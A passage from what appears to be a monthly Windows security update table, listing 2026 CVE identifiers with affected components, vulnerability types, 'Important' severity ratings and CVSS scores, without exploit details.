Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50384\n  Windows Clip Service\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49183\n  Windows Clipboard\n  Server Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50689\n  Windows Clipboard\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50374\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-58536\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58613\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50401\n  Windows Cloud Files\n  Mini Filter Driver Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50697\n  Windows Common Log\n  File System Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50667\n  Windows Common Log\n  File System Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50421\n  Windows Connected User\n  Experiences and Telemetry Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50428\n  Windows Container\n  Isolation FS Filter Driver (unionfs.sys) Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50352\n  Windows Cryptographic\n  Services Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50302\n  Windows Cryptographic\n  Services Security Feature Bypass Vulnerability\n  Important\n  4.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-55144\n  Windows Cryptography\n  API: Next Generation (CNG) Tampering Vulnerability\n  Important\n  7.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50347\n  Windows Data.dll\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49181\n  Windows DHCP Client\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50683\n  Windows DHCP Client\n  Elevation of Privilege Vulnerability\n  Important\n  8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58627\n  Windows DHCP Server\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50685\n  Windows DHCP Server\n  Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-49807\n  Windows DirectX\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-49175\n  Windows DNS Client\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50487\n  Windows DNS Client\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50465\n  Windows DNS Client\n  Tampering Vulnerability\n  Important\n  7.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-49169\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50426\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50424\n  Windows Domain\n  Controller Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50300\n  Windows DWM Core\n  Library Information Disclosure \n  Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50437\n  Windows DWM Core\n  Library Information Disclosure \n  Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-34348\n  Windows Event Logging\n  Service Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50502\n  Windows Event Logging\n  Service Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-33842\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-40422\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-41087\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50473\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50442\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50389\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50456\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57084\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57091\n  Windows File History\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50405\n  Windows Filtering\n  Platform Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49172\n  Windows FTP Service\n  Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50387\n  Windows GDI Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54122\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50483\n  Windows Graphics\n  Component Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58609\n  Windows Graphics\n  Component Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50391\n  Windows Group Policy\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50310\n  Windows Human\n  Interface Device Information Disclosure Vulnerability\n  Important\n  4.7\n  No\n  No\n  Info\n \n \n  CVE-2026-50485\n  Windows Hyper-V Denial\n  of Service Vulnerability\n  Important\n  4.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-54129\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50315\n  Windows Image\n  Acquisition Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58534\n  Windows Input Method\n  Editor (IME) Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50490\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58540\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50425\n  Windows Internal\n  System User Profile Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50293\n  Windows Internal Task\n  Bar Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49167\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  4.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49173\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54132\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  6.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49795\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49798\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  9.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-49808\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50354\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50332\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50377\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50390\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50423\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50397\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50436\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50399\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50459\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50477\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50478\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50484\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50673\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58532\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50294\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-50316\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50419\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  Info\n \n \n  CVE-2026-50463\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50475\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50429\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  8.2\n  No\n  No\n  Info\n \n \n  CVE-2026-58614\n  Windows Kernel\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-58545\n  Windows Kernel\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-58602\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50393\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50396\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50378\n  Windows Key Guard\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50303\n  Windows Key Guard\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-40378\n  Windows Local Security\n  Authority Subsystem Service (LSASS) Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-49799\n  Windows Local Security\n  Authority Subsystem Service (LSASS) Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50371\n  Windows LUA File\n  Virtualization Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58544\n  Windows Management\n  Services Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50404\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50358\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50336\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50398\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50414\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50379\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50433\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50676\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50677\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-34349\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50394\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50415\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.3\n  No\n  No\n  Info\n \n \n  CVE-2026-57083\n  Windows Media Photo\n  Codec Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54115\n  Windows Message\n  Queuing (MSMQ) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50447\n  Windows Message\n  Queuing Service (MSMQ) Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50505\n  Windows Message\n  Queuing Service (MSMQ) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-50342\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56183\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56187\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58635\n  Windows Narrator\n  Braille Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50500\n  Windows Netlogon\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50476\n  Windows Network\n  Connections Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50450\n  Windows Network\n  Connections Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56650\n  Windows Network File\n  System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56649\n  Windows Network File\n  System Remote Code Execution Vulnerability\n  Important\n  5.9\n  No\n  No\n  RCE\n \n \n  CVE-2026-50470\n  Windows Network Policy\n  Server SNMP Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50496\n  Windows Network Policy\n  Server SNMP Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56194\n  Windows NFS Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56648\n  Windows NFS Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50337\n  Windows Notification\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49789\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50412\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50422\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50672\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56175\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56182\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50341\n  Windows NTFS\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58640\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-49184\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-49797\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50308\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50386\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50309\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50313\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50388\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50448\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50471\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50461\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50417\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50482\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-50494\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50344\n  Windows OLE Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50686\n  Windows OLE Remote\n  Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-50335\n  Windows Operating\n  Systems Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50317\n  Windows Operating\n  Systems Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54987\n  Windows Overlay Filter\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50435\n  Windows Overlay Filter\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50409\n  Windows Overlay Filter\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-40400\n  Windows PowerShell\n  Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49166\n  Windows Print\n  Configuration Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55004\n  Windows Print\n  Configuration Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50499\n  Windows Print Spooler\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50383\n  Windows Print Spooler\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-57085\n  Windows Print Spooler\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50469\n  Windows Projected File\n  System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50434\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50339\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50430\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50334\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-44800\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50363\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50431\n  Windows Quality of\n  Service (QoS) Packet Scheduler Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50372\n  Windows Redirected\n  Drive Buffering System Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50666\n  Windows Remote Access\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56647\n  Windows Remote Access\n  Service Infrastructure Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50330\n  Windows Remote Desktop\n  Client Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50376\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50504\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58533\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58535\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58546\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58539\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55003\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57979\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50445\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50497\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54126\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57982\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50369\n  Windows Remote Desktop\n  Services Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58626\n  Windows Remote Desktop\n  Services Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55014\n  Windows Remote Help\n  Defense Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50318\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50407\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50357\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50441\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50668\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  6.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54109\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49792\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49793\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50362\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50492\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50501\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58530\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49791\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50451\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-57096\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50323\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50452\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50348\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50345\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50322\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50340\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50410\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50449\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50460\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50403\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50385\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50413\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50457\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50486\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  